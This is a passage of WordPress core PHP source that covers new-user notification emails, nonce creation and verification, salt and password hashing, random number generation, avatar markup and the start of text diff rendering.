		 * The blogname option is escaped with esc_html() on the way into the database in sanitize_option().
		 * We want to reverse this for the plain text arena of emails.
		 */
		$blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

		/**
		 * Filters whether the admin is notified of a new user registration.
		 *
		 * @since 6.1.0
		 *
		 * @param bool    $send Whether to send the email. Default true.
		 * @param WP_User $user User object for new user.
		 */
		$send_notification_to_admin = apply_filters( 'wp_send_new_user_notification_to_admin', true, $user );

		if ( 'user' !== $notify && true === $send_notification_to_admin ) {
			$switched_locale = switch_to_locale( get_locale() );

			/* translators: %s: Site title. */
			$message = sprintf( __( 'New user registration on your site %s:' ), $blogname ) . "\r\n\r\n";
			/* translators: %s: User login. */
			$message .= sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n";
			/* translators: %s: User email address. */
			$message .= sprintf( __( 'Email: %s' ), $user->user_email ) . "\r\n";

			$wp_new_user_notification_email_admin = array(
				'to'      => get_option( 'admin_email' ),
				/* translators: New user registration notification email subject. %s: Site title. */
				'subject' => __( '[%s] New User Registration' ),
				'message' => $message,
				'headers' => '',
			);

			/**
			 * Filters the contents of the new user notification email sent to the site admin.
			 *
			 * @since 4.9.0
			 *
			 * @param array   $wp_new_user_notification_email_admin {
			 *     Used to build wp_mail().
			 *
			 *     @type string $to      The intended recipient - site admin email address.
			 *     @type string $subject The subject of the email.
			 *     @type string $message The body of the email.
			 *     @type string $headers The headers of the email.
			 * }
			 * @param WP_User $user     User object for new user.
			 * @param string  $blogname The site title.
			 */
			$wp_new_user_notification_email_admin = apply_filters( 'wp_new_user_notification_email_admin', $wp_new_user_notification_email_admin, $user, $blogname );

			wp_mail(
				$wp_new_user_notification_email_admin['to'],
				wp_specialchars_decode( sprintf( $wp_new_user_notification_email_admin['subject'], $blogname ) ),
				$wp_new_user_notification_email_admin['message'],
				$wp_new_user_notification_email_admin['headers']
			);

			if ( $switched_locale ) {
				restore_previous_locale();
			}
		}

		/**
		 * Filters whether the user is notified of their new user registration.
		 *
		 * @since 6.1.0
		 *
		 * @param bool    $send Whether to send the email. Default true.
		 * @param WP_User $user User object for new user.
		 */
		$send_notification_to_user = apply_filters( 'wp_send_new_user_notification_to_user', true, $user );

		// `$deprecated` was pre-4.3 `$plaintext_pass`. An empty `$plaintext_pass` didn't sent a user notification.
		if ( 'admin' === $notify || true !== $send_notification_to_user || ( empty( $deprecated ) && empty( $notify ) ) ) {
			return;
		}

		$key = get_password_reset_key( $user );
		if ( is_wp_error( $key ) ) {
			return;
		}

		$switched_locale = switch_to_user_locale( $user_id );

		/* translators: %s: User login. */
		$message  = sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n";
		$message .= __( 'To set your password, visit the following address:' ) . "\r\n\r\n";
		$message .= network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user->user_login ), 'login' ) . "\r\n\r\n";

		$message .= wp_login_url() . "\r\n";

		$wp_new_user_notification_email = array(
			'to'      => $user->user_email,
			/* translators: Login details notification email subject. %s: Site title. */
			'subject' => __( '[%s] Login Details' ),
			'message' => $message,
			'headers' => '',
		);

		/**
		 * Filters the contents of the new user notification email sent to the new user.
		 *
		 * @since 4.9.0
		 *
		 * @param array   $wp_new_user_notification_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The intended recipient - New user email address.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The body of the email.
		 *     @type string $headers The headers of the email.
		 * }
		 * @param WP_User $user     User object for new user.
		 * @param string  $blogname The site title.
		 */
		$wp_new_user_notification_email = apply_filters( 'wp_new_user_notification_email', $wp_new_user_notification_email, $user, $blogname );

		wp_mail(
			$wp_new_user_notification_email['to'],
			wp_specialchars_decode( sprintf( $wp_new_user_notification_email['subject'], $blogname ) ),
			$wp_new_user_notification_email['message'],
			$wp_new_user_notification_email['headers']
		);

		if ( $switched_locale ) {
			restore_previous_locale();
		}
	}
endif;

if ( ! function_exists( 'wp_nonce_tick' ) ) :
	/**
	 * Returns the time-dependent variable for nonce creation.
	 *
	 * A nonce has a lifespan of two ticks. Nonces in their second tick may be
	 * updated, e.g. by autosave.
	 *
	 * @since 2.5.0
	 * @since 6.1.0 Added `$action` argument.
	 *
	 * @param string|int $action Optional. The nonce action. Default -1.
	 * @return float Float value rounded up to the next highest integer.
	 */
	function wp_nonce_tick( $action = -1 ) {
		/**
		 * Filters the lifespan of nonces in seconds.
		 *
		 * @since 2.5.0
		 * @since 6.1.0 Added `$action` argument to allow for more targeted filters.
		 *
		 * @param int        $lifespan Lifespan of nonces in seconds. Default 86,400 seconds, or one day.
		 * @param string|int $action   The nonce action, or -1 if none was provided.
		 */
		$nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS, $action );

		return ceil( time() / ( $nonce_life / 2 ) );
	}
endif;

if ( ! function_exists( 'wp_verify_nonce' ) ) :
	/**
	 * Verifies that a correct security nonce was used with time limit.
	 *
	 * A nonce is valid for 24 hours (by default).
	 *
	 * @since 2.0.3
	 *
	 * @param string     $nonce  Nonce value that was used for verification, usually via a form field.
	 * @param string|int $action Should give context to what is taking place and be the same when nonce was created.
	 * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago,
	 *                   2 if the nonce is valid and generated between 12-24 hours ago.
	 *                   False if the nonce is invalid.
	 */
	function wp_verify_nonce( $nonce, $action = -1 ) {
		$nonce = (string) $nonce;
		$user  = wp_get_current_user();
		$uid   = (int) $user->ID;
		if ( ! $uid ) {
			/**
			 * Filters whether the user who generated the nonce is logged out.
			 *
			 * @since 3.5.0
			 *
			 * @param int        $uid    ID of the nonce-owning user.
			 * @param string|int $action The nonce action, or -1 if none was provided.
			 */
			$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
		}

		if ( empty( $nonce ) ) {
			return false;
		}

		$token = wp_get_session_token();
		$i     = wp_nonce_tick( $action );

		// Nonce generated 0-12 hours ago.
		$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
		if ( hash_equals( $expected, $nonce ) ) {
			return 1;
		}

		// Nonce generated 12-24 hours ago.
		$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
		if ( hash_equals( $expected, $nonce ) ) {
			return 2;
		}

		/**
		 * Fires when nonce verification fails.
		 *
		 * @since 4.4.0
		 *
		 * @param string     $nonce  The invalid nonce.
		 * @param string|int $action The nonce action.
		 * @param WP_User    $user   The current user object.
		 * @param string     $token  The user's session token.
		 */
		do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );

		// Invalid nonce.
		return false;
	}
endif;

if ( ! function_exists( 'wp_create_nonce' ) ) :
	/**
	 * Creates a cryptographic token tied to a specific action, user, user session,
	 * and window of time.
	 *
	 * @since 2.0.3
	 * @since 4.0.0 Session tokens were integrated with nonce creation.
	 *
	 * @param string|int $action Scalar value to add context to the nonce.
	 * @return string The token.
	 */
	function wp_create_nonce( $action = -1 ) {
		$user = wp_get_current_user();
		$uid  = (int) $user->ID;
		if ( ! $uid ) {
			/** This filter is documented in wp-includes/pluggable.php */
			$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
		}

		$token = wp_get_session_token();
		$i     = wp_nonce_tick( $action );

		return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
	}
endif;

if ( ! function_exists( 'wp_salt' ) ) :
	/**
	 * Returns a salt to add to hashes.
	 *
	 * Salts are created using secret keys. Secret keys are located in two places:
	 * in the database and in the wp-config.php file. The secret key in the database
	 * is randomly generated and will be appended to the secret keys in wp-config.php.
	 *
	 * The secret keys in wp-config.php should be updated to strong, random keys to maximize
	 * security. Below is an example of how the secret key constants are defined.
	 * Do not paste this example directly into wp-config.php. Instead, have a
	 * {@link https://api.wordpress.org/secret-key/1.1/salt/ secret key created} just
	 * for you.
	 *
	 *     define('AUTH_KEY',         ' Xakm<o xQy rw4EMsLKM-?!T+,PFF})H4lzcW57AF0U@N@< >M%G4Yt>f`z]MON');
	 *     define('SECURE_AUTH_KEY',  'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~');
	 *     define('LOGGED_IN_KEY',    '|i|Ux`9<p-h$aFf(qnT:sDO:D1P^wZ$$/Ra@miTJi9G;ddp_<q}6H1)o|a +&JCM');
	 *     define('NONCE_KEY',        '%:R{[P|,s.KuMltH5}cI;/k<Gx~j!f0I)m_sIyu+&NJZ)-iO>z7X>QYR0Z_XnZ@|');
	 *     define('AUTH_SALT',        'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW');
	 *     define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W<I`.JjPi)<Bmf1v,HpGe}T1:Xt7n');
	 *     define('LOGGED_IN_SALT',   '+XSqHc;@Q*K_b|Z?NC[3H!!EONbh.n<+=uKR:>*c(u`g~EJBf#8u#R{mUEZrozmm');
	 *     define('NONCE_SALT',       'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT');
	 *
	 * Salting passwords helps against tools which has stored hashed values of
	 * common dictionary strings. The added values makes it harder to crack.
	 *
	 * @since 2.5.0
	 *
	 * @link https://api.wordpress.org/secret-key/1.1/salt/ Create secrets for wp-config.php
	 *
	 * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce).
	 * @return string Salt value
	 */
	function wp_salt( $scheme = 'auth' ) {
		static $cached_salts = array();
		if ( isset( $cached_salts[ $scheme ] ) ) {
			/**
			 * Filters the WordPress salt.
			 *
			 * @since 2.5.0
			 *
			 * @param string $cached_salt Cached salt for the given scheme.
			 * @param string $scheme      Authentication scheme. Values include 'auth',
			 *                            'secure_auth', 'logged_in', and 'nonce'.
			 */
			return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
		}

		static $duplicated_keys;
		if ( null === $duplicated_keys ) {
			$duplicated_keys = array(
				'put your unique phrase here' => true,
			);

			/*
			 * translators: This string should only be translated if wp-config-sample.php is localized.
			 * You can check the localized release package or
			 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
			 */
			$duplicated_keys[ __( 'put your unique phrase here' ) ] = true;

			foreach ( array( 'AUTH', 'SECURE_AUTH', 'LOGGED_IN', 'NONCE', 'SECRET' ) as $first ) {
				foreach ( array( 'KEY', 'SALT' ) as $second ) {
					if ( ! defined( "{$first}_{$second}" ) ) {
						continue;
					}
					$value                     = constant( "{$first}_{$second}" );
					$duplicated_keys[ $value ] = isset( $duplicated_keys[ $value ] );
				}
			}
		}

		$values = array(
			'key'  => '',
			'salt' => '',
		);
		if ( defined( 'SECRET_KEY' ) && SECRET_KEY && empty( $duplicated_keys[ SECRET_KEY ] ) ) {
			$values['key'] = SECRET_KEY;
		}
		if ( 'auth' === $scheme && defined( 'SECRET_SALT' ) && SECRET_SALT && empty( $duplicated_keys[ SECRET_SALT ] ) ) {
			$values['salt'] = SECRET_SALT;
		}

		if ( in_array( $scheme, array( 'auth', 'secure_auth', 'logged_in', 'nonce' ), true ) ) {
			foreach ( array( 'key', 'salt' ) as $type ) {
				$const = strtoupper( "{$scheme}_{$type}" );
				if ( defined( $const ) && constant( $const ) && empty( $duplicated_keys[ constant( $const ) ] ) ) {
					$values[ $type ] = constant( $const );
				} elseif ( ! $values[ $type ] ) {
					$values[ $type ] = get_site_option( "{$scheme}_{$type}" );
					if ( ! $values[ $type ] ) {
						$values[ $type ] = wp_generate_password( 64, true, true );
						update_site_option( "{$scheme}_{$type}", $values[ $type ] );
					}
				}
			}
		} else {
			if ( ! $values['key'] ) {
				$values['key'] = get_site_option( 'secret_key' );
				if ( ! $values['key'] ) {
					$values['key'] = wp_generate_password( 64, true, true );
					update_site_option( 'secret_key', $values['key'] );
				}
			}
			$values['salt'] = hash_hmac( 'md5', $scheme, $values['key'] );
		}

		$cached_salts[ $scheme ] = $values['key'] . $values['salt'];

		/** This filter is documented in wp-includes/pluggable.php */
		return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
	}
endif;

if ( ! function_exists( 'wp_hash' ) ) :
	/**
	 * Gets hash of given string.
	 *
	 * @since 2.0.3
	 *
	 * @param string $data   Plain text to hash.
	 * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce).
	 * @return string Hash of $data.
	 */
	function wp_hash( $data, $scheme = 'auth' ) {
		$salt = wp_salt( $scheme );

		return hash_hmac( 'md5', $data, $salt );
	}
endif;

if ( ! function_exists( 'wp_hash_password' ) ) :
	/**
	 * Creates a hash (encrypt) of a plain text password.
	 *
	 * For integration with other applications, this function can be overwritten to
	 * instead use the other package password checking algorithm.
	 *
	 * @since 2.5.0
	 *
	 * @global PasswordHash $wp_hasher PHPass object.
	 *
	 * @param string $password Plain text user password to hash.
	 * @return string The hash string of the password.
	 */
	function wp_hash_password( $password ) {
		global $wp_hasher;

		if ( empty( $wp_hasher ) ) {
			require_once ABSPATH . WPINC . '/class-phpass.php';
			// By default, use the portable hash from phpass.
			$wp_hasher = new PasswordHash( 8, true );
		}

		return $wp_hasher->HashPassword( trim( $password ) );
	}
endif;

if ( ! function_exists( 'wp_check_password' ) ) :
	/**
	 * Checks the plaintext password against the encrypted Password.
	 *
	 * Maintains compatibility between old version and the new cookie authentication
	 * protocol using PHPass library. The $hash parameter is the encrypted password
	 * and the function compares the plain text password when encrypted similarly
	 * against the already encrypted password to see if they match.
	 *
	 * For integration with other applications, this function can be overwritten to
	 * instead use the other package password checking algorithm.
	 *
	 * @since 2.5.0
	 *
	 * @global PasswordHash $wp_hasher PHPass object used for checking the password
	 *                                 against the $hash + $password.
	 * @uses PasswordHash::CheckPassword
	 *
	 * @param string     $password Plaintext user's password.
	 * @param string     $hash     Hash of the user's password to check against.
	 * @param string|int $user_id  Optional. User ID.
	 * @return bool False, if the $password does not match the hashed password.
	 */
	function wp_check_password( $password, $hash, $user_id = '' ) {
		global $wp_hasher;

		// If the hash is still md5...
		if ( strlen( $hash ) <= 32 ) {
			$check = hash_equals( $hash, md5( $password ) );
			if ( $check && $user_id ) {
				// Rehash using new hash.
				wp_set_password( $password, $user_id );
				$hash = wp_hash_password( $password );
			}

			/**
			 * Filters whether the plaintext password matches the encrypted password.
			 *
			 * @since 2.5.0
			 *
			 * @param bool       $check    Whether the passwords match.
			 * @param string     $password The plaintext password.
			 * @param string     $hash     The hashed password.
			 * @param string|int $user_id  User ID. Can be empty.
			 */
			return apply_filters( 'check_password', $check, $password, $hash, $user_id );
		}

		/*
		 * If the stored hash is longer than an MD5,
		 * presume the new style phpass portable hash.
		 */
		if ( empty( $wp_hasher ) ) {
			require_once ABSPATH . WPINC . '/class-phpass.php';
			// By default, use the portable hash from phpass.
			$wp_hasher = new PasswordHash( 8, true );
		}

		$check = $wp_hasher->CheckPassword( $password, $hash );

		/** This filter is documented in wp-includes/pluggable.php */
		return apply_filters( 'check_password', $check, $password, $hash, $user_id );
	}
endif;

if ( ! function_exists( 'wp_generate_password' ) ) :
	/**
	 * Generates a random password drawn from the defined set of characters.
	 *
	 * Uses wp_rand() to create passwords with far less predictability
	 * than similar native PHP functions like `rand()` or `mt_rand()`.
	 *
	 * @since 2.5.0
	 *
	 * @param int  $length              Optional. The length of password to generate. Default 12.
	 * @param bool $special_chars       Optional. Whether to include standard special characters.
	 *                                  Default true.
	 * @param bool $extra_special_chars Optional. Whether to include other special characters.
	 *                                  Used when generating secret keys and salts. Default false.
	 * @return string The random password.
	 */
	function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) {
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
		if ( $special_chars ) {
			$chars .= '!@#$%^&*()';
		}
		if ( $extra_special_chars ) {
			$chars .= '-_ []{}<>~`+=,.;:/?|';
		}

		$password = '';
		for ( $i = 0; $i < $length; $i++ ) {
			$password .= substr( $chars, wp_rand( 0, strlen( $chars ) - 1 ), 1 );
		}

		/**
		 * Filters the randomly-generated password.
		 *
		 * @since 3.0.0
		 * @since 5.3.0 Added the `$length`, `$special_chars`, and `$extra_special_chars` parameters.
		 *
		 * @param string $password            The generated password.
		 * @param int    $length              The length of password to generate.
		 * @param bool   $special_chars       Whether to include standard special characters.
		 * @param bool   $extra_special_chars Whether to include other special characters.
		 */
		return apply_filters( 'random_password', $password, $length, $special_chars, $extra_special_chars );
	}
endif;

if ( ! function_exists( 'wp_rand' ) ) :
	/**
	 * Generates a random non-negative number.
	 *
	 * @since 2.6.2
	 * @since 4.4.0 Uses PHP7 random_int() or the random_compat library if available.
	 * @since 6.1.0 Returns zero instead of a random number if both `$min` and `$max` are zero.
	 *
	 * @global string $rnd_value
	 *
	 * @param int $min Optional. Lower limit for the generated number.
	 *                 Accepts positive integers or zero. Defaults to 0.
	 * @param int $max Optional. Upper limit for the generated number.
	 *                 Accepts positive integers. Defaults to 4294967295.
	 * @return int A random non-negative number between min and max.
	 */
	function wp_rand( $min = null, $max = null ) {
		global $rnd_value;

		/*
		 * Some misconfigured 32-bit environments (Entropy PHP, for example)
		 * truncate integers larger than PHP_INT_MAX to PHP_INT_MAX rather than overflowing them to floats.
		 */
		$max_random_number = 3000000000 === 2147483647 ? (float) '4294967295' : 4294967295; // 4294967295 = 0xffffffff

		if ( null === $min ) {
			$min = 0;
		}

		if ( null === $max ) {
			$max = $max_random_number;
		}

		// We only handle ints, floats are truncated to their integer value.
		$min = (int) $min;
		$max = (int) $max;

		// Use PHP's CSPRNG, or a compatible method.
		static $use_random_int_functionality = true;
		if ( $use_random_int_functionality ) {
			try {
				// wp_rand() can accept arguments in either order, PHP cannot.
				$_max = max( $min, $max );
				$_min = min( $min, $max );
				$val  = random_int( $_min, $_max );
				if ( false !== $val ) {
					return absint( $val );
				} else {
					$use_random_int_functionality = false;
				}
			} catch ( Error $e ) {
				$use_random_int_functionality = false;
			} catch ( Exception $e ) {
				$use_random_int_functionality = false;
			}
		}

		/*
		 * Reset $rnd_value after 14 uses.
		 * 32 (md5) + 40 (sha1) + 40 (sha1) / 8 = 14 random numbers from $rnd_value.
		 */
		if ( strlen( $rnd_value ) < 8 ) {
			if ( defined( 'WP_SETUP_CONFIG' ) ) {
				static $seed = '';
			} else {
				$seed = get_transient( 'random_seed' );
			}
			$rnd_value  = md5( uniqid( microtime() . mt_rand(), true ) . $seed );
			$rnd_value .= sha1( $rnd_value );
			$rnd_value .= sha1( $rnd_value . $seed );
			$seed       = md5( $seed . $rnd_value );
			if ( ! defined( 'WP_SETUP_CONFIG' ) && ! defined( 'WP_INSTALLING' ) ) {
				set_transient( 'random_seed', $seed );
			}
		}

		// Take the first 8 digits for our value.
		$value = substr( $rnd_value, 0, 8 );

		// Strip the first eight, leaving the remainder for the next call to wp_rand().
		$rnd_value = substr( $rnd_value, 8 );

		$value = abs( hexdec( $value ) );

		// Reduce the value to be within the min - max range.
		$value = $min + ( $max - $min + 1 ) * $value / ( $max_random_number + 1 );

		return abs( (int) $value );
	}
endif;

if ( ! function_exists( 'wp_set_password' ) ) :
	/**
	 * Updates the user's password with a new encrypted one.
	 *
	 * For integration with other applications, this function can be overwritten to
	 * instead use the other package password checking algorithm.
	 *
	 * Please note: This function should be used sparingly and is really only meant for single-time
	 * application. Leveraging this improperly in a plugin or theme could result in an endless loop
	 * of password resets if precautions are not taken to ensure it does not execute on every page load.
	 *
	 * @since 2.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $password The plaintext new user password.
	 * @param int    $user_id  User ID.
	 */
	function wp_set_password( $password, $user_id ) {
		global $wpdb;

		$hash = wp_hash_password( $password );
		$wpdb->update(
			$wpdb->users,
			array(
				'user_pass'           => $hash,
				'user_activation_key' => '',
			),
			array( 'ID' => $user_id )
		);

		clean_user_cache( $user_id );

		/**
		 * Fires after the user password is set.
		 *
		 * @since 6.2.0
		 *
		 * @param string $password The plaintext password just set.
		 * @param int    $user_id  The ID of the user whose password was just set.
		 */
		do_action( 'wp_set_password', $password, $user_id );
	}
endif;

if ( ! function_exists( 'get_avatar' ) ) :
	/**
	 * Retrieves the avatar `<img>` tag for a user, email address, MD5 hash, comment, or post.
	 *
	 * @since 2.5.0
	 * @since 4.2.0 Added the optional `$args` parameter.
	 * @since 5.5.0 Added the `loading` argument.
	 * @since 6.1.0 Added the `decoding` argument.
	 * @since 6.3.0 Added the `fetchpriority` argument.
	 *
	 * @param mixed  $id_or_email   The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                              user email, WP_User object, WP_Post object, or WP_Comment object.
	 * @param int    $size          Optional. Height and width of the avatar in pixels. Default 96.
	 * @param string $default_value URL for the default image or a default type. Accepts:
	 *                              - '404' (return a 404 instead of a default image)
	 *                              - 'retro' (a 8-bit arcade-style pixelated face)
	 *                              - 'robohash' (a robot)
	 *                              - 'monsterid' (a monster)
	 *                              - 'wavatar' (a cartoon face)
	 *                              - 'identicon' (the "quilt", a geometric pattern)
	 *                              - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
	 *                              - 'blank' (transparent GIF)
	 *                              - 'gravatar_default' (the Gravatar logo)
	 *                              Default is the value of the 'avatar_default' option,
	 *                              with a fallback of 'mystery'.
	 * @param string $alt           Optional. Alternative text to use in the avatar image tag.
	 *                              Default empty.
	 * @param array  $args {
	 *     Optional. Extra arguments to retrieve the avatar.
	 *
	 *     @type int          $height        Display height of the avatar in pixels. Defaults to $size.
	 *     @type int          $width         Display width of the avatar in pixels. Defaults to $size.
	 *     @type bool         $force_default Whether to always show the default image, never the Gravatar.
	 *                                       Default false.
	 *     @type string       $rating        What rating to display avatars up to. Accepts:
	 *                                       - 'G' (suitable for all audiences)
	 *                                       - 'PG' (possibly offensive, usually for audiences 13 and above)
	 *                                       - 'R' (intended for adult audiences above 17)
	 *                                       - 'X' (even more mature than above)
	 *                                       Default is the value of the 'avatar_rating' option.
	 *     @type string       $scheme        URL scheme to use. See set_url_scheme() for accepted values.
	 *                                       Default null.
	 *     @type array|string $class         Array or string of additional classes to add to the img element.
	 *                                       Default null.
	 *     @type bool         $force_display Whether to always show the avatar - ignores the show_avatars option.
	 *                                       Default false.
	 *     @type string       $loading       Value for the `loading` attribute.
	 *                                       Default null.
	 *     @type string       $fetchpriority Value for the `fetchpriority` attribute.
	 *                                       Default null.
	 *     @type string       $decoding      Value for the `decoding` attribute.
	 *                                       Default null.
	 *     @type string       $extra_attr    HTML attributes to insert in the IMG element. Is not sanitized.
	 *                                       Default empty.
	 * }
	 * @return string|false `<img>` tag for the user's avatar. False on failure.
	 */
	function get_avatar( $id_or_email, $size = 96, $default_value = '', $alt = '', $args = null ) {
		$defaults = array(
			// get_avatar_data() args.
			'size'          => 96,
			'height'        => null,
			'width'         => null,
			'default'       => get_option( 'avatar_default', 'mystery' ),
			'force_default' => false,
			'rating'        => get_option( 'avatar_rating' ),
			'scheme'        => null,
			'alt'           => '',
			'class'         => null,
			'force_display' => false,
			'loading'       => null,
			'fetchpriority' => null,
			'decoding'      => null,
			'extra_attr'    => '',
		);

		if ( empty( $args ) ) {
			$args = array();
		}

		$args['size']    = (int) $size;
		$args['default'] = $default_value;
		$args['alt']     = $alt;

		$args = wp_parse_args( $args, $defaults );

		if ( empty( $args['height'] ) ) {
			$args['height'] = $args['size'];
		}
		if ( empty( $args['width'] ) ) {
			$args['width'] = $args['size'];
		}

		// Update args with loading optimized attributes.
		$loading_optimization_attr = wp_get_loading_optimization_attributes( 'img', $args, 'get_avatar' );

		$args = array_merge( $args, $loading_optimization_attr );

		if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
			$id_or_email = get_comment( $id_or_email );
		}

		/**
		 * Allows the HTML for a user's avatar to be returned early.
		 *
		 * Returning a non-null value will effectively short-circuit get_avatar(), passing
		 * the value through the {@see 'get_avatar'} filter and returning early.
		 *
		 * @since 4.2.0
		 *
		 * @param string|null $avatar      HTML for the user's avatar. Default null.
		 * @param mixed       $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
		 *                                 user email, WP_User object, WP_Post object, or WP_Comment object.
		 * @param array       $args        Arguments passed to get_avatar_url(), after processing.
		 */
		$avatar = apply_filters( 'pre_get_avatar', null, $id_or_email, $args );

		if ( ! is_null( $avatar ) ) {
			/** This filter is documented in wp-includes/pluggable.php */
			return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args );
		}

		if ( ! $args['force_display'] && ! get_option( 'show_avatars' ) ) {
			return false;
		}

		$url2x = get_avatar_url( $id_or_email, array_merge( $args, array( 'size' => $args['size'] * 2 ) ) );

		$args = get_avatar_data( $id_or_email, $args );

		$url = $args['url'];

		if ( ! $url || is_wp_error( $url ) ) {
			return false;
		}

		$class = array( 'avatar', 'avatar-' . (int) $args['size'], 'photo' );

		if ( ! $args['found_avatar'] || $args['force_default'] ) {
			$class[] = 'avatar-default';
		}

		if ( $args['class'] ) {
			if ( is_array( $args['class'] ) ) {
				$class = array_merge( $class, $args['class'] );
			} else {
				$class[] = $args['class'];
			}
		}

		// Add `loading`, `fetchpriority`, and `decoding` attributes.
		$extra_attr = $args['extra_attr'];

		if ( in_array( $args['loading'], array( 'lazy', 'eager' ), true )
			&& ! preg_match( '/\bloading\s*=/', $extra_attr )
		) {
			if ( ! empty( $extra_attr ) ) {
				$extra_attr .= ' ';
			}

			$extra_attr .= "loading='{$args['loading']}'";
		}

		if ( in_array( $args['fetchpriority'], array( 'high', 'low', 'auto' ), true )
			&& ! preg_match( '/\bfetchpriority\s*=/', $extra_attr )
		) {
			if ( ! empty( $extra_attr ) ) {
				$extra_attr .= ' ';
			}

			$extra_attr .= "fetchpriority='{$args['fetchpriority']}'";
		}

		if ( in_array( $args['decoding'], array( 'async', 'sync', 'auto' ), true )
			&& ! preg_match( '/\bdecoding\s*=/', $extra_attr )
		) {
			if ( ! empty( $extra_attr ) ) {
				$extra_attr .= ' ';
			}

			$extra_attr .= "decoding='{$args['decoding']}'";
		}

		$avatar = sprintf(
			"<img alt='%s' src='%s' srcset='%s' class='%s' height='%d' width='%d' %s/>",
			esc_attr( $args['alt'] ),
			esc_url( $url ),
			esc_url( $url2x ) . ' 2x',
			esc_attr( implode( ' ', $class ) ),
			(int) $args['height'],
			(int) $args['width'],
			$extra_attr
		);

		/**
		 * Filters the HTML for a user's avatar.
		 *
		 * @since 2.5.0
		 * @since 4.2.0 Added the `$args` parameter.
		 *
		 * @param string $avatar        HTML for the user's avatar.
		 * @param mixed  $id_or_email   The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
		 *                              user email, WP_User object, WP_Post object, or WP_Comment object.
		 * @param int    $size          Height and width of the avatar in pixels.
		 * @param string $default_value URL for the default image or a default type. Accepts:
		 *                              - '404' (return a 404 instead of a default image)
		 *                              - 'retro' (a 8-bit arcade-style pixelated face)
		 *                              - 'robohash' (a robot)
		 *                              - 'monsterid' (a monster)
		 *                              - 'wavatar' (a cartoon face)
		 *                              - 'identicon' (the "quilt", a geometric pattern)
		 *                              - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
		 *                              - 'blank' (transparent GIF)
		 *                              - 'gravatar_default' (the Gravatar logo)
		 * @param string $alt           Alternative text to use in the avatar image tag.
		 * @param array  $args          Arguments passed to get_avatar_data(), after processing.
		 */
		return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args );
	}
endif;

if ( ! function_exists( 'wp_text_diff' ) ) :
	/**
	 * Displays a human readable HTML representation of the difference between two strings.
	 *
	 * The Diff is available for getting the changes between versions. The output is
	 * HTML, so the primary use is for displaying the changes. If the two strings
	 * are equivalent, then an empty string will be returned.
	 *
	 * @since 2.6.0
	 *
	 * @see wp_parse_args() Used to change defaults to user defined settings.
	 * @uses Text_Diff
	 * @uses WP_Text_Diff_Renderer_Table
	 *
	 * @param string       $left_string  "old" (left) version of string.
	 * @param string       $right_string "new" (right) version of string.
	 * @param string|array $args {
	 *     Associative array of options to pass to WP_Text_Diff_Renderer_Table().
	 *
	 *     @type string $title           Titles the diff in a manner compatible
	 *                                   with the output. Default empty.
	 *     @type string $title_left      Change the HTML to the left of the title.
	 *                                   Default empty.
	 *     @type string $title_right     Change the HTML to the right of the title.
	 *                                   Default empty.
	 *     @type bool   $show_split_view True for split view (two columns), false for
	 *                                   un-split view (single column). Default true.
	 * }
	 * @return string Empty string if strings are equivalent or HTML with differences.
	 */
	function wp_text_diff( $left_string, $right_string, $args = null ) {
		$defaults = array(
			'title'           => '',
			'title_left'      => '',
			'title_right'     => '',
			'show_split_view' => true,
		);
		$args     = wp_parse_args( $args, $defaults );

		if ( ! class_exists( 'WP_Text_Diff_Renderer_Table', false ) ) {
			require ABSPATH . WPINC . '/wp-diff.php';
		}

		$left_string  = normalize_whitespace( $left_string );
		$right_string = normalize_whitespace( $right_string );

		$left_lines  = explode( "\n", $left_string );
		$right_lines = explode( "\n", $right_string );
		$text_diff   = new Text_Diff( $left_lines, $right_lines );
		$renderer    = new WP_Text_Diff_Renderer_Table( $args );
		$diff        = $renderer->render( $text_diff );

		if ( ! $diff ) {
			return '';
		}

		$is_split_view       = ! empty( $args['show_split_view'] );
		$is_split_view_class = $is_split_view ? ' is-split-view' : '';

		$r = "<table class='diff$is_split_view_class'>\n";

		if ( $args['title'] ) {
			$r .= "<caption class='diff-title'>$args[title]</caption>\n";
		}

		if ( $args['title_left'] || $args['title_right'] ) {
			$r .= '<thead>';
		}

		if ( $args['title_left'] || $args['title_right'] ) {
